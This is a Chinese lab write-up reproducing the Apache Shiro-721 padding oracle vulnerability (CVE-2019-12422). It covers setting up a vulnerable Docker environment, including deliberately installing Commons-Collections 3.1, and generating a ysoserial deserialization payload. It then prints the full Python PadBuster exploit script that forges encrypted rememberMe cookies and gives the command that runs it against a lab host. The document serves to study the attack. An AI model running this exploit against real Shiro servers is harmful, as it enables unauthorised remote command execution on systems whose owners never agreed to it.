shiro721复现

目录

• 前言
• 一、环境搭建和知识储备
  • 1.1、影响版本
  • 1.2、Docker搭建环境
  • 1.3、漏洞原理
• 二、复现过程
  • 1、整体思路
  • 2、具体流程
• 三、工具利用
  • 使用ShiroExploit.jar

前言

花费了2/3day的时间复现和了解这个漏洞，其挖掘的思路涉及到的密码学知识挺有意思的，叫做Padding Oracle Attack，可以在公开的exp中看到这个思路。但是该漏洞的利用却十分鸡肋，它的加密方式决定了我们发送的payload越长，爆破方式去加密payload的过程越长。不建议花费时间去研究利用，exp可以学学。

一、环境搭建和知识储备

1.1、影响版本

Apache Shiro < 1.4.2

CVE-2019-12422

1.2、Docker搭建环境

1、获取DOCKFILE

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker

2、构建和运行DOCKFILE

docker build -t shiro-721 .    //不要忽略721后面的那个点，意为当前路径
docker run -p 8080:8080 -d shiro-721

3、注意事项
环境搭建主要采用了网上github存在的一个镜像，复现时遇到一些问题

https://github.com/3ndz/Shiro-721

这个docker镜像中存在的war包中的lib主要是Common-Collections3.2.2的，正好是漏洞修复了的版本，不存在可利用的cc链。因此我们要下载一个Common-Collections3.1放至生成的docker对应的tomcat目录下。

docker cp /root/Common-Collections3.1.jar [dockerid]:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/Common-Collections3.1.jar

同时还要删除原来的Common-Collections3.2.2版本的jar包防止干扰

1.3、漏洞原理

漏洞原理没有做深入探究，看了两篇文章做了一个了解。如下

浅析Shiro Padding Oracle Attack
Padding oracle attack详细解析
根本原理就是shiro中cookie的cookiememeMe已通过AES-128-CBC模式加密，这很容易受到填充oracle攻击的影响。攻击者可以使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀，然后制作精心制作的RememberMe来执行Java反序列化攻击。

二、复现过程

1、整体思路

访问登录页面，登录
请求account页面，只需要抓包时能获取到rememberMe=xxx都可
利用exp爆破payload的加密密文
获取密文后对之前请求的页面以rememberMe=xxx的格式重放
获取到命令执行结果

2、具体流程

1、勾选Remermber Me，登录shiro认证后的页面

2、登录后点击account页，抓包获取rememberMe对应的cookie值

3、使用ysoserial生成payload，前提是环境中存在可利用的链
这里命令用双引号括起来，暂时还没有深入研究ysoserial，用单引号存在问题

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonCollections1 "touch /tmp/1.txt" > payload.class

4、利用公开exp使用Padding Oracle方式爆破payload的密文

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
    print('rememberMe cookies:')
    print(b64encode(enc))

5、使用以下命令执行脚本,地址为登录后的需要提交cookie的页面

python shiro_exp.py http://192.168.164.152:8080/account [rememberMeCookie] payload.class

6、经过漫长的等待(起码3个小时不间断的请求)，获取到了最终爆破出来的经过加密的payload，我们将这个payload加上rememberMe在之前的页面重放

7、最终在docker里的/tmp目录创建了文件

三、工具利用

使用ShiroExploit.jar

没有验证过，因为时间太长，不适用于实际环境的测试。会把环境打崩或者ip被ban